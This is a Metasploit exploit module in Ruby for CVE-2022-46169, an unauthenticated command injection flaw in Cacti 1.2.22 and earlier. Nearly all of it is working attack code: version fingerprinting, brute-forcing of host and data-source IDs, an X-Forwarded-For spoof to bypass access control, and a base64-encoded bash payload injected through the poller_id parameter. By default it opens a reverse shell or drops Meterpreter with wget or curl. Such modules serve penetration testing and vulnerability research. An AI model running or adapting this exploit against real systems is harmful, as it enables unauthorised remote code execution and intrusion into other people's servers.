Cacti 1.2.22 Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cacti 1.2.22 unauthenticated command injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection  
vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in  
order to achieve unauthenticated remote code execution as the  
www-data user.  
  
The module first attempts to obtain the Cacti version to see  
if the target is affected. If LOCAL_DATA_ID and/or HOST_ID  
are not set, the module will try to bruteforce the missing  
value(s). If a valid combination is found, the module will  
use these to attempt exploitation. If LOCAL_DATA_ID and/or  
HOST_ID are both set, the module will immediately attempt  
exploitation.  
  
During exploitation, the module sends a GET request to  
/remote_agent.php with the action parameter set to polldata  
and the X-Forwarded-For header set to the provided value for  
X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the  
poller_id parameter is set to the payload and the host_id  
and local_data_id parameters are set to the bruteforced or  
provided values. If X_FORWARDED_FOR_IP is set to an address  
that is resolvable to a hostname in the poller table, and the  
local_data_id and host_id values are vulnerable, the payload  
set for poller_id will be executed by the target.  
  
This module has been successfully tested against Cacti  
version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Stefan Schiller', # discovery (independent of Steven Seeley)  
'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)  
'Owen Gong', # @phithon_xg - vulhub PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' => [  
['CVE', '2022-46169'],  
['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details  
['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC  
['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller  
],  
'DefaultOptions' => {  
'RPORT' => 8080  
},  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Automatic (Unix In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },  
'Type' => :unix_memory  
}  
],  
[  
'Automatic (Linux Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2022-12-05',  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),  
OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),  
OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),  
OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])  
])  
  
register_advanced_options([  
OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),  
OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),  
OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),  
OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])  
])  
end  
  
def check  
# sanity check to see if the target is likely Cacti  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res.code == 200 && res.body.include?('<title>Login to Cacti')  
return CheckCode::Safe('Target is not a Cacti application.')  
end  
  
# get the version  
version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first  
if version.blank?  
return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')  
end  
  
begin  
if Rex::Version.new(version) <= Rex::Version.new('1.2.22')  
return CheckCode::Appears("The target is Cacti version #{version}")  
else  
return CheckCode::Safe("The target is Cacti version #{version}")  
end  
rescue StandardError => e  
return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")  
end  
end  
  
def exploitable_rrd_names  
[  
'apache_total_kbytes',  
'apache_total_hits',  
'apache_total_hits',  
'apache_total_kbytes',  
'apache_cpuload',  
'boost_avg_size',  
'boost_peak_memory',  
'boost_records',  
'boost_table',  
'ExportDuration',  
'ExportGraphs',  
'syslogRuntime',  
'tholdRuntime',  
'polling_time',  
'uptime',  
]  
end  
  
def brute_force_ids  
# perform a sanity check first  
if @host_id  
host_ids = [@host_id]  
else  
if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']  
fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')  
end  
host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a  
end  
  
if @local_data_id  
local_data_ids = [@local_data_ids]  
else  
if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']  
fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')  
end  
local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a  
end  
  
# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id  
max_attempts = host_ids.length * local_data_ids.length  
if max_attempts > 1000  
fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')  
end  
  
potential_targets = []  
request_ct = 0  
  
print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")  
host_ids.each do |h_id|  
print_status("Enumerating local_data_id values for host_id #{h_id}")  
local_data_ids.each do |ld_id|  
request_ct += 1  
print_status("Performing request #{request_ct}...") if request_ct % 25 == 0  
  
res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))  
unless res  
print_error('No response received. Aborting bruteforce')  
return nil  
end  
  
unless res.code == 200  
print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
begin  
parsed_response = JSON.parse(res.body)  
rescue JSON::ParserError  
print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
unless parsed_response.is_a?(Array)  
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
# the array can be empty, which is not an error but just means the local_data_id is not exploitable  
next if parsed_response.empty?  
  
first_item = parsed_response.first  
unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }  
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array  
# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it  
# in addition, some data source types have an empty rrd_name but are still exploitable  
# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it  
# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end  
# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options  
rrd_name = first_item['rrd_name']  
if rrd_name.empty?  
potential_targets << [h_id, ld_id]  
elsif exploitable_rrd_names.include?(rrd_name)  
print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")  
return [h_id, ld_id]  
else  
next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on  
end  
end  
end  
  
return nil if potential_targets.empty?  
  
# inform the user about potential targets  
print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")  
potential_targets.each do |h_id, ld_id|  
print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")  
end  
print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')  
nil  
end  
  
def execute_command(cmd, _opts = {})  
# use base64 encoding to get around special char limitations  
cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"  
send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)  
end  
  
def exploit  
@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?  
@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?  
  
unless @host_id && @local_data_id  
brute_force_result = brute_force_ids  
unless brute_force_result  
fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')  
end  
@host_id, @local_data_id = brute_force_result  
end  
  
if target.arch.first == ARCH_CMD  
print_status('Executing the payload. This may take a few seconds...')  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
  
def remote_agent_request(ld_id, h_id, poller_id)  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),  
'headers' => {  
'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']  
},  
'vars_get' => {  
'action' => 'polldata',  
'local_data_ids[0]' => ld_id,  
'host_id' => h_id,  
'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload  
}  
}  
end  
end  
`